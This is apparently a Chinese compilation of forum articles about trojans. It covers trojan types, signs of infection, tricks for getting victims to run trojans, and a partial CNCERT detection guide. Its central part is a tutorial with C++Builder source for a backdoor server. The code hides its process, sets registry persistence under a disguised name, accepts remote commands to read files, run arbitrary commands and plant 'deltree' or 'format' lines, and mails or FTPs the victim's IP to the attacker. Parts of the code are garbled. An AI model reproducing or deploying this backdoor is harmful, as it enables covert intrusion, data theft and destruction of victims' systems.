黑客在入侵的同时掩盖自己的足迹,谨防别人发现自己的身份是非常重要的,因此,给被控制的肉鸡种上代理木马,让其变成攻击者发动攻击的跳板就是代理木马最重要的任务。通过代理木马,攻击者可以在匿名的情况下使用Telnet,ICQ,IRC等程序,从而隐蔽自己的踪迹。
7.FTP木马
这种木马可能是最简单和古老的木马了,它的惟一功能就是打开21端口,等待用户连接。现在新FTP木马还加上了密码功能,这样,只有攻击者本人才知道正确的密码,从而进入对方计算机。
8.程序杀手木马
上面的木马功能虽然形形色色,不过到了对方机器上要发挥自己的作用,还要过防木马软件这一关才行。常见的防木马软件有ZoneAlarm,Norton Anti-Virus等。程序杀手木马的功能就是关闭对方机器上运行的这类程序,让其他的木马更好地发挥作用。
9.反弹端口型木马
木马是木马开发者在分析了防火墙的特性后发现:防火墙对于连入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。于是,与一般的木马相反,反弹端口型木马的服务端 (被控制端)使用主动端口,客户端 (控制端)使用被动端口。木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的主动端口;为了隐蔽起见,控制端的被动端口一般开在80,即使用户使用扫描软件检查自己的端口,发现类似TCP UserIP:1026 ControllerIP:80ESTABLISHED的情况,稍微疏忽一点,你就会以为是自己在浏览网页。
QUOTE:
中木马后出现的状况
对于一些常见的木马,如SUB7、BO2000、冰河等等,它们都是采用打开TCP端口监听和写人注册表启动等方式,使用木马克星之类的软件可以检测到这些木马,这些检测木马的软件大多都是利用检测TCP连结、注册表等信息来判断是否有木马入侵,因此我们也可以通过手工来侦测木马。
也许你会对硬盘空间莫名其妙减少500M感到习以为常,这的确算不了什么,天知道Windows的临时文件和那些乌七八糟的游戏吞噬了自己多少硬盘空间。可是,还是有一些现象会让你感到警觉,一旦你觉得你自己的电脑感染了木马,你应该马上用杀毒软件检查一下自己的计算机,然后不管结果如何,就算是Norton告诉你,你的机器没有木马,你也应该再亲自作一次更深入的调查,确保自己机器安全。经常关注新的和出名的木马的特性报告,这将对你诊断自己的计算机问题很有帮助。
(1)当你浏览一个网站,弹出来一些广告窗口是很正常的事情,可是如果你根本没有打开浏览器,而览浏器突然自己打开,并且进入某个网站,那么,你要小心。
(2)你正在操作电脑,突然一个警告框或者是询问框弹出来,问一些你从来没有在电脑上接触过的间题。
(3)你的Windows系统配置老是自动莫名其妙地被更改。比如屏保显示的文字,时间和日期,声音大小,鼠标灵敏度,还有CD-ROM的自动运行配置。
(4)硬盘老没缘由地读盘,软驱灯经常自己亮起,网络连接及鼠标屏幕出现异常现象。
这时,最简单的方法就是使用netstat-a命令查看。你可以通过这个命令发现所有网络连接,如果这时有攻击者通过木马连接,你可以通过这些信息发现异常。通过端口扫描的方法也可以发现一些弱智的木马,特别是一些早期的木马,它们捆绑的端口不能更改,通过扫描这些固定的端口也可以发现木马是否被植入。
当然,没有上面的种种现象并不代表你就绝对安全。有些人攻击你的机器不过是想寻找一个跳板。做更重要的事情;可是有些人攻击你的计算机纯粹是为了好玩。对于纯粹处于好玩目的的攻击者,你可以很容易地发现攻击的痕迹;对于那些隐藏得很深,并且想把你的机器变成一台他可以长期使用的肉鸡的黑客们,你的检查工作将变得异常艰苦并且需要你对入侵和木马有超人的敏感度,而这些能力,都是在平常的电脑使用过程日积月累而成的。
我们还可以通过软件来检查系统进程来发现木马。如利用进程管理软件来查看进程,如果发现可疑进程就杀死它。那么,如何知道哪个进程是可疑的呢?教你一个笨方法,有以下进程绝对是正常的:EXPLORER.EXE、KERNEL32.DLL、MPREXE.EXE、MSGSRVINTERNAT.EXE、32.EXE、SPOOL32.EXEIEXPLORE.EXE(如果打开了IE),而出现了其他的、你没有运行的程序的进程就很可疑了。一句话,具体情况具体分析。
QUOTE:
被感染后的紧急措施
如果不幸你的计算机已经被木马光临过了,你的系统文件被黑客改得一塌糊涂,硬盘上稀里糊涂得多出来一大堆乱七八糟的文件,很多重要的数据也可能被黑客窃取。这里给你提供3条建议,希望可以帮助你:
(1)所有的账号和密码都要马上更改,例如拨号连接,ICQ,mIRC,FTP,你的个人站点,免费邮箱等等,凡是需要密码的地方,你都要把密码尽快改过来。
(2)删掉所有你硬盘上原来没有的东西。
(4)检查一次硬盘上是否有病毒存在 。
木马技术篇
这里就不介绍木马是如何写成的了,毕竟大多数网友不会去编写什么木马,也没有足够的知识和能力来编写,包括我自己:)
QUOTE:
黑客是如何骗取你执行木马的
1、冒充为图像文件
首先,黑客最常使用骗别人执行木马的方法,就是将特洛伊木马说成为图像文件,比如说是照片等,应该说这是一个最不合逻辑的方法,但却是最多人中招的方法,有效而又实用 。
只要入侵者扮成美眉及更改服务器程序的文件名(例如 sam.exe )为“类似”图像文件的名称 ,再假装传送照片给受害者,受害者就会立刻执行它。为甚么说这是一个不合逻辑的方法呢?图像文件的扩展名根本就不可能是 exe,而木马程序的扩展名基本上又必定是 exe ,明眼人一看就会知道有问题,多数人在接收时一看见是exe文件,便不会接收了,那有什么方法呢? 其实方法很简单,他只要把文件名改变,例如把“sam.exe” 更改为“sam.jpg” ,那么在传送时,对方只会看见sam.jpg 了,而到达对方电脑时,因为windows 默认值是不显示扩展名的,所以很多人都不会注意到扩展名这个问题,而恰好你的计算机又是设定为隐藏扩展名的话,那么你看到的只是sam.jpg 了,受骗也就在所难免了!
还有一个问题就是,木马本身是没有图标的,而在电脑中它会显示一个windows 预设的图标,别人一看便会知道了!但入侵者还是有办法的,这就是给文件换个“马甲”,即修改文件图标。
2、合并程序欺骗
通常有经验的用户,是不会将图像文件和可执行文件混淆的,所以很多入侵者一不做二不休,干脆将木马程序说成是应用程序:反正都是以 exe 作为扩展名的。然后再变着花样欺骗受害者,例如说成是新出炉的游戏,无所不能的黑客程序等等,目地是让受害者立刻执行它。而木马程序执行后一般是没有任何反应的,于是在悄无声息中,很多受害者便以为是传送时文件损坏了而不再理会它。
如果有更小心的用户,上面的方法有可能会使他们的产生坏疑,所以就衍生了一些合拼程序。合拼程序是可以将两个或以上的可执行文件(exe文件) 结合为一个文件,以后只需执行这个合拼文件,两个可执行文件就会同时执行。如果入侵者将一个正常的可执行文件(一些小游戏如 wrap.exe) 和一个木马程序合拼,由于执行合拼文件时 wrap.exe会正常执行,受害者在不知情中,背地里木马程序也同时执行了。而这其中最常用到的软件就是joiner,由于它具有更大的欺骗性,使得安装特洛伊木马的一举一动了无痕迹,是一件相当危险的黑客工具。让我们来看一下它是如何运作的:
以往有不少可以把两个程序合拼的软件为黑客所使用,但其中大多都已被各大防毒软件列作病毒了,而且它们有两个突出的问题存在,这问题就是:
(1)合拼后的文件体积过大
(2)只能合拼两个执行文件
正因为如此,黑客们纷纷弃之转而使用一个更简单而功能更强的软件,那就是Joiner 了。此软件不但把软件合拼后的体积减少,而且可以待使用者执行后立马就能收到一个icq 的信息,告诉你对方已中招及对方的IP ,更重要的是这个软件可以把图像文件、音频文件与可执行文件合拼,用起来相当方便。
首先把Joiner 解压,然后执行Joiner ,在程序的画面里,有“First executable : ”及“ Second File : ”两项,这两行的右方都有一个文件夹图标,分别各自选择想合拼的文件。
下面还有一个Enable ICQ notification 的空格,如果选取后,当对方执行了文件时,便会收到对方的一个ICQ Web Messgaer ,里面会有对方的ip ,当然要在下面的ICQ number 填上欲收取信息的icq 号码。但开启这个功能后,合拼后的文件会比较大。
最后便按下“Join” ,在Joiner 的文件夹里,便会出现一个Result.exe 的文件,文件可更改名称,因而这种“混合体”的隐蔽性是不言而喻的。
3、以Z-file 伪装加密程序
Z-file 伪装加密软件是台湾华顺科技的产品,其经过将文件压缩加密之后,再以 bmp图像文件格式显示出来(扩展名是 bmp,执行后是一幅普通的图像)。当初设计这个软件的本意只是用来加密数据,用以就算计算机被入侵或被非法使使用时,也不容易泄漏你的机密数据所在。不过如果到了黑客手中,却可以变成一个入侵他人的帮凶。 使用者会将木马程序和小游戏合拼,再用 Z-file 加密及将 此“混合体”发给受害者,由于看上去是图像文件,受害者往往都不以为然,打开后又只是一般的图片,最可怕的地方还在于就连杀毒软件也检测不出它内藏特洛伊木马,甚至病毒!当打消了受害者警惕性后,再让他用WinZip 解压缩及执行 “伪装体 (比方说还有一份小礼物要送给他),这样就可以成功地安装了木马程序。 如果入侵者有机会能使用受害者的电脑(比如上门维修电脑),只要事先已经发出了“混合体,则可以直接用 Winzip 对其进行解压及安装。由于上门维修是赤着手使用其电脑,受害者根本不会怀疑有什么植入他的计算机中,而且时间并不长,30秒时间已经足够。就算是“明晃晃”地在受害者面前操作,他也不见得会看出这一双黑手正在干什么。特别值得一提的是,由于 “混合体” 可以躲过反病毒程序的检测,如果其中内含的是一触即发的病毒,那么一经结开压缩,后果将是不堪设想。
4、伪装成应用程序扩展组件
此类属于最难识别的特洛伊木马。黑客们通常将木马程序写成为任何类型的文件 (例如 dll、ocx等) 然后挂在一个十分出名的软件中,例如 OICQ 。由于OICQ本身已有一定的知名度,没有人会怀疑它的安全性,更不会有人检查它的文件多是否多了。而当受害者打开OICQ时,这个有问题的文件即会同时执行。 此种方式相比起用合拼程序有一个更大的好处,那就是不用更改被入侵者的登录文件,以后每当其打开OICQ时木马程序就会同步运行 ,相较一般特洛伊木马可说是“踏雪无痕”。更要命的是,此类入侵者大多也是特洛伊木马编写者,只要稍加改动,就会派生出一支新木马来,所以即使杀是毒软件也拿它没有丝毫办法。
如何编写木马
木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Running Now!";
file://信的主题
NMSMTP1-SendMail();
file://发送!
return;
file://返回
NextTime:
NMFTP1-Host = "";
file://你的FTP服务器的地址
NMFTP1-UserID = "";
file://你的用户ID
NMFTP1-Port = 21;
端口号,一般为21
NMFTP1-Password = "";
file://你的FTP的密码
if(NMFTP1-Connected) NMFTP1-Disconnect();
file://如果已连接就断开
try
{
NMFTP1-Connect();
file://再连接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");
file://创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写入以上的SendToSite的内容
fclose(Upload);
file://写完后关闭此文件
NMFTP1-RemoveDir("public_html");
file://删除public_html目录
NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);
file://上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:
#include stdlib.h
#include dirent.h
#include fcntl.h
#include dos.h
#include sys\stat.h
#include winbase.h
#include stdio.h
#include process.h
#include io.h
#include mmsystem.h
至此,服务器端(Server)程序
木马的检测
木马的检测、清除与防范
来源:CNCERT/CC广东分中心编写
木马程序不同于病毒程序,通常并不象病毒程序那样感染文件。木马一般是以寻找后门、
窃取密码和重要文件为主,还可以对电脑进行跟踪监视、控制、查看、修改资料等操作,具有很强的隐蔽性、
突发性和攻击性。由于木马具有很强的隐蔽性,用户往往是在自己的密码被盗、
机密文件丢失的情况下才知道自己中了木马。在这里将介绍如何检测自己的机子是否中了木马,
如何对木马进行清除和防范。
木马检测
1、查看开放端口
当前最为常见的木马通常是基于TCP/UDP协议进行Client端与Server端之间的通讯的,
这样我们就可以通过查看在本机上开放的端口,看是否有可疑的程序打开了某个可疑的端口。
例如冰河使用的监听端口是7626,Back Orifice 2000使用的监听端口是54320等。
假如查看到有可疑的程序在利用可疑端口进行连接,则很有可能就是中了木马。
查看端口的方法有几种:
(1)使用Windows本身自带的netstat命令
C:\netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:113 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1033 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1230 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1232 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1239 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1740 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5092 0.0.0.0: LISTENING
TCP 127.0.0.1:5092 127.0.0.1:1748 TIME_WAI
TCP 127.0.0.1:6092 0.0.0.0:0 LISTENING
UDP 0.0.0.0:69 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:1703 *:*
UDP 0.0.0.0:1704 *:*
UDP 0.0.0.0:4000 *:*
UDP 0.0.0.0:6000 *:*
UDP 0.0.0.0:6001 *:*
UDP 127.0.0.1:1034 *:*
UDP 127.0.0.1:1321 *:*
UDP 127.0.0.1:1551 *:*
